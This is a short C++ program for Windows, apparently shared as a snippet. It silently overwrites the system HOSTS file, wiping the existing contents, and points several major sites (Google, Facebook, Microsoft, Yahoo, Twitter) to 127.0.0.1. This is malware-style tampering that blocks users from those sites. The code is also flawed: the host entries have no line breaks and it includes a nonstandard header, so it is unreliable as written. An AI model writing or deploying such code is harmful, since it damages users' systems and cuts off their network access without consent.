[Windows} Write to Host File

/*
Modifying Host File
*/

#include<windows.h>
#include<functions.h>
#include<fstream>

void hst(void);


void hst(void)
{
char hst[MAX_PATH];
DWORD byte;
HANDLE hFile;
BOOL bSuccess;
GetSystemDirectory(hst, sizeof(hst));

strcat(hst, "\\Drivers\\ETC\\HOSTS");
const char* buffer = "127.0.0.1 yahoo.com 127.0.0.1 www.yahoo.com 127.0.0.1 microsoft.com 127.0.0.1 www.microsoft.com 127.0.0.1 www.google.com 127.0.0.1 google.com 127.0.0.1 facebook.com 127.0.0.1 www.facebook.com 127.0.0.1 www.twitter.com";
hFile = CreateFile(hst, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
bSuccess = WriteFile ( hFile, buffer, strlen(buffer), &byte, NULL);
CloseHandle(hFile);
}
void runn()
{
    hst();
}

int main()
{

    runn();

}